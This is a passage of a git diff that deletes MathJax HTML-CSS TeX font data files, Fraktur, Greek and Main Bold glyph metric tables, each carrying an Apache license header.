- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Fraktur-bold"],{58113:[630,27,587,64,512],58114:[693,212,394,37,408],58115:[681,219,387,36,384],58116:[473,212,593,67,531],58117:[684,27,393,33,387],58120:[679,220,981,32,875],58121:[717,137,727,17,633]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Bold/PUA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/BasicLatin.js
deleted file mode 100644
index 3d5f0662..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Fraktur,{32:[0,0,250,0,0],33:[689,12,296,91,204],34:[695,-432,215,8,196],38:[698,11,738,49,733],39:[695,-436,212,69,134],40:[737,186,389,114,293],41:[735,187,389,89,276],42:[693,-449,278,33,234],43:[598,82,756,47,709],44:[107,191,278,99,213],45:[275,-236,756,46,706],46:[102,15,278,87,200],47:[721,182,502,34,466],48:[492,13,502,42,456],49:[468,2,502,47,460],50:[474,-1,502,60,484],51:[473,182,502,39,429],52:[476,191,502,10,481],53:[458,185,502,47,440],54:[700,13,502,45,471],55:[468,181,502,37,498],56:[705,10,502,40,461],57:[469,182,502,28,466],58:[457,12,216,50,168],59:[458,189,216,47,179],61:[368,-132,756,54,725],63:[693,11,362,46,357],65:[696,26,718,22,708],66:[691,28,884,48,821],67:[685,24,613,59,607],68:[685,27,832,27,745],69:[685,24,663,86,634],70:[686,154,611,11,612],71:[690,26,785,66,711],72:[666,133,720,1,645],73:[686,26,554,30,532],74:[686,139,552,-11,522],75:[681,27,668,17,682],76:[686,26,666,33,644],77:[692,28,1050,27,1048],78:[686,25,832,27,825],79:[729,27,827,12,744],80:[692,218,828,28,804],81:[729,69,827,11,783],82:[686,26,828,27,824],83:[692,27,829,65,756],84:[701,27,669,34,677],85:[697,27,646,-25,665],86:[686,26,831,26,825],87:[686,27,1046,32,1055],88:[688,27,719,28,709],89:[686,218,833,27,741],90:[729,139,602,11,532],91:[740,130,278,117,278],93:[738,131,278,-4,160],94:[734,-452,500,0,495],97:[470,35,500,66,497],98:[685,31,513,87,442],99:[466,29,389,72,359],100:[609,33,499,13,428],101:[467,30,401,70,364],102:[681,221,326,30,323],103:[470,209,504,17,455],104:[689,205,521,77,434],105:[673,20,279,14,267],106:[672,208,281,-9,196],107:[689,25,389,24,362],108:[685,20,280,98,276],109:[476,26,767,8,753],110:[475,22,527,20,514],111:[480,28,489,67,412],112:[541,212,500,12,430],113:[479,219,489,60,419],114:[474,21,389,17,387],115:[478,29,443,-18,406],116:[640,20,333,27,348],117:[474,24,517,9,513],118:[531,28,512,55,435],119:[532,28,774,45,688],120:[472,188,389,10,363],121:[528,218,499,45,431],122:[471,214,391,-7,314]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Regular/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Main.js
deleted file mode 100644
index 8a5ae648..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Fraktur={directory:"Fraktur/Regular",family:"MathJax_Fraktur",testString:"MathJax Fraktur",Ranges:[[0,127,"BasicLatin"],[128,57343,"Other"],[58112,58128,"PUA"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Fraktur"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Other.js
deleted file mode 100644
index 55e0a28d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Fraktur,{160:[0,0,250,0,0],8216:[708,-410,215,45,158],8217:[692,-395,215,49,163]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Regular/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/PUA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/PUA.js
deleted file mode 100644
index 10281aec..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/PUA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Regular/PUA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Fraktur,{58112:[683,32,497,75,430],58113:[616,30,498,35,432],58114:[680,215,333,29,339],58115:[679,224,329,28,318],58116:[471,214,503,52,449],58117:[686,20,333,26,315],58118:[577,22,334,29,347],58119:[475,22,501,10,514]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Regular/PUA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Bold/Main.js
deleted file mode 100644
index 444139f4..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Greek-bold"]={directory:"Greek/Bold",family:"MathJax_Greek",weight:"bold",testString:String.fromCharCode(915)+" "+String.fromCharCode(933)+" "+String.fromCharCode(923),32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,0,692,39,643],916:[698,0,958,56,901],920:[696,10,894,64,829],923:[698,0,806,40,765],926:[675,0,767,48,718],928:[680,0,900,39,860],931:[686,0,831,64,766],933:[697,0,894,64,829],934:[686,0,831,64,766],936:[686,0,894,64,829],937:[696,1,831,51,779]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Greek-bold"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Greek/Bold/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/BoldItalic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/BoldItalic/Main.js
deleted file mode 100644
index fad826eb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/BoldItalic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/BoldItalic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Greek-bold-italic"]={directory:"Greek/BoldItalic",family:"MathJax_Greek",weight:"bold",style:"italic",testString:String.fromCharCode(915)+" "+String.fromCharCode(933)+" "+String.fromCharCode(923),skew:{915:0.0958,916:0.192,920:0.0958,923:0.192,926:0.0958,928:0.0639,931:0.0958,933:0.0639,934:0.0958,936:0.0639,937:0.0958,945:0.0319,946:0.0958,948:0.0639,949:0.0958,950:0.0958,951:0.0639,952:0.0958,953:0.0639,956:0.0319,957:0.0319,958:0.128,959:0.0639,961:0.0958,962:0.0958,964:0.0319,965:0.0319,966:0.0958,967:0.0639,968:0.128,977:0.0958,981:0.0958,1009:0.0958,1013:0.0639},32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,0,657,43,777],916:[711,0,958,59,904],920:[702,17,867,54,844],923:[711,0,806,44,776],926:[675,0,841,62,867],928:[680,0,982,43,1026],931:[686,0,885,69,902],933:[703,0,671,32,802],934:[686,0,767,29,737],936:[686,0,714,22,790],937:[703,0,879,93,886],945:[452,8,761,39,712],946:[701,194,660,28,637],947:[451,211,590,5,617],948:[725,8,522,39,513],949:[461,17,529,36,481],950:[711,202,508,48,521],951:[452,211,600,24,600],952:[702,8,562,40,554],953:[452,8,412,38,386],954:[452,8,668,45,642],955:[694,13,671,40,652],956:[452,211,708,33,682],957:[452,2,577,38,608],958:[711,201,508,23,490],959:[452,8,585,39,576],960:[444,8,682,23,674],961:[451,211,612,34,603],962:[451,105,424,33,457],963:[444,8,686,35,677],964:[444,13,521,23,610],965:[453,8,631,24,604],966:[452,216,747,53,703],967:[452,201,718,32,685],968:[694,202,758,24,732],969:[453,8,718,24,691],977:[701,8,692,24,656],981:[694,202,712,51,693],982:[444,8,975,23,961],1009:[451,194,612,75,603],1013:[444,7,483,44,450]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Greek-bold-italic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Greek/BoldItalic/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Italic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Italic/Main.js
deleted file mode 100644
index 32de3798..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Greek-italic"]={directory:"Greek/Italic",family:"MathJax_Greek",style:"italic",testString:String.fromCharCode(915)+" "+String.fromCharCode(933)+" "+String.fromCharCode(923),skew:{915:0.0833,916:0.167,920:0.0833,923:0.167,926:0.0833,928:0.0556,931:0.0833,933:0.0556,934:0.0833,936:0.0556,937:0.0833,945:0.0278,946:0.0833,948:0.0556,949:0.0833,950:0.0833,951:0.0556,952:0.0833,953:0.0556,956:0.0278,957:0.0278,958:0.111,959:0.0556,961:0.0833,962:0.0833,964:0.0278,965:0.0278,966:0.0833,967:0.0556,968:0.111,977:0.0833,981:0.0833,1009:0.0833,1013:0.0556},32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,-1,615,31,721],916:[716,0,833,48,788],920:[704,22,763,50,740],923:[716,0,694,35,670],926:[678,0,742,53,777],928:[681,0,831,31,887],931:[683,0,780,58,806],933:[705,0,583,28,700],934:[683,0,667,24,642],936:[683,0,612,21,692],937:[704,0,772,80,786],945:[442,11,640,34,603],946:[705,194,566,23,573],947:[441,216,518,11,543],948:[717,10,444,36,451],949:[452,22,466,27,428],950:[704,204,438,44,471],951:[442,216,497,21,503],952:[705,10,469,35,462],953:[442,10,354,48,332],954:[442,11,576,49,554],955:[694,12,583,47,556],956:[442,216,603,23,580],957:[442,2,494,45,530],958:[704,205,438,21,443],959:[441,11,485,34,476],960:[431,11,570,19,573],961:[442,216,517,23,510],962:[442,107,363,31,405],963:[431,11,571,31,572],964:[431,13,437,18,517],965:[443,10,540,21,523],966:[442,218,654,50,618],967:[442,204,626,25,600],968:[694,205,651,21,634],969:[443,11,622,15,604],977:[705,11,591,21,563],981:[694,205,596,43,579],982:[431,10,828,19,823],1009:[442,194,517,67,510],1013:[431,11,406,40,382]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Greek-italic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Greek/Italic/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Regular/Main.js
deleted file mode 100644
index 957aae86..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Greek/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Greek={directory:"Greek/Regular",family:"MathJax_Greek",testString:String.fromCharCode(915)+" "+String.fromCharCode(933)+" "+String.fromCharCode(923),32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,0,625,25,582],916:[716,0,833,46,786],920:[705,22,778,56,722],923:[716,0,694,32,661],926:[677,0,667,42,624],928:[680,0,750,25,724],931:[683,0,722,55,666],933:[705,0,778,55,722],934:[683,0,722,56,665],936:[683,0,778,55,722],937:[704,0,722,44,677]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Greek"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Greek/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Arrows.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Arrows.js
deleted file mode 100644
index 9413a576..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{8592:[519,18,1150,64,1085],8593:[694,193,575,13,562],8594:[519,18,1150,65,1085],8595:[694,194,575,13,562],8596:[519,18,1150,64,1085],8597:[767,267,575,13,562],8598:[724,195,1150,64,1084],8599:[724,193,1150,64,1086],8600:[695,224,1150,65,1085],8601:[694,224,1150,64,1085],8614:[519,18,1150,65,1085],8617:[519,18,1282,64,1219],8618:[519,18,1282,65,1217],8636:[518,-220,1150,64,1084],8637:[281,17,1150,64,1084],8640:[518,-220,1150,65,1085],8641:[281,17,1150,64,1085],8652:[718,17,1150,64,1085],8656:[548,46,1150,63,1085],8657:[694,194,703,29,672],8658:[548,47,1150,64,1084],8659:[694,194,703,30,673],8660:[548,46,1150,47,1102],8661:[768,267,703,29,673]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/Arrows.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiacritMarks.js
deleted file mode 100644
index e46f6423..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{768:[706,-503,0,-461,-237],769:[706,-503,0,-339,-115],770:[694,-520,0,-449,-127],771:[694,-551,0,-479,-97],772:[607,-540,0,-495,-81],774:[694,-500,0,-473,-103],775:[695,-525,0,-373,-203],776:[695,-535,0,-479,-97],778:[703,-536,0,-415,-161],779:[714,-511,0,-442,-82],780:[660,-515,0,-445,-131],824:[711,210,0,-734,-161]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiactForSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiactForSymbols.js
deleted file mode 100644
index 528a74d6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{8407:[723,-513,0,-542,-33]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/CombDiactForSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeneralPunctuation.js
deleted file mode 100644
index 9db5be76..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{8194:[0,0,500,0,0],8195:[0,0,999,0,0],8196:[0,0,333,0,0],8197:[0,0,250,0,0],8198:[0,0,167,0,0],8201:[0,0,167,0,0],8202:[0,0,83,0,0],8211:[300,-249,575,0,574],8212:[300,-249,1150,0,1149],8216:[694,-329,319,58,245],8217:[694,-329,319,74,261],8220:[694,-329,603,110,564],8221:[694,-329,603,38,492],8224:[702,211,511,64,446],8225:[702,203,511,64,446],8230:[171,-1,1295,74,1221],8242:[563,-33,344,35,332]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeometricShapes.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeometricShapes.js
deleted file mode 100644
index 9dc64c81..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{9651:[711,-1,1022,68,953],9657:[541,39,575,33,542],9661:[500,210,1022,68,953],9667:[539,39,575,33,542],9711:[711,211,1150,65,1084]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/GeometricShapes.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GreekAndCoptic.js
deleted file mode 100644
index 3f296282..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{915:[680,0,692,39,643],916:[698,0,958,56,901],920:[696,10,894,64,829],923:[699,0,806,40,765],926:[675,0,767,48,718],928:[680,0,900,39,860],931:[686,0,831,63,766],933:[697,0,894,64,829],934:[686,0,831,64,766],936:[686,0,894,64,829],937:[696,1,831,51,780]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Latin1Supplement.js
deleted file mode 100644
index be4d31c9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{160:[0,0,250,0,0],168:[695,-535,575,96,478],172:[371,-61,767,64,703],175:[607,-540,575,80,494],176:[703,-536,575,160,414],177:[728,35,894,64,829],180:[706,-503,575,236,460],215:[531,29,894,167,727],247:[597,96,894,64,828]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedA.js
deleted file mode 100644
index 420b20a4..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{305:[453,8,394,24,367]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedB.js
deleted file mode 100644
index b219d60b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{567:[451,201,439,-12,420]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/LatinExtendedB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LetterlikeSymbols.js
deleted file mode 100644
index 3b38fb39..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{8463:[694,8,668,45,642],8465:[702,9,831,64,798],8467:[702,19,474,-1,447],8472:[462,211,740,72,727],8476:[711,17,831,41,824],8501:[694,1,703,64,639]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Main.js
deleted file mode 100644
index 16e585dc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
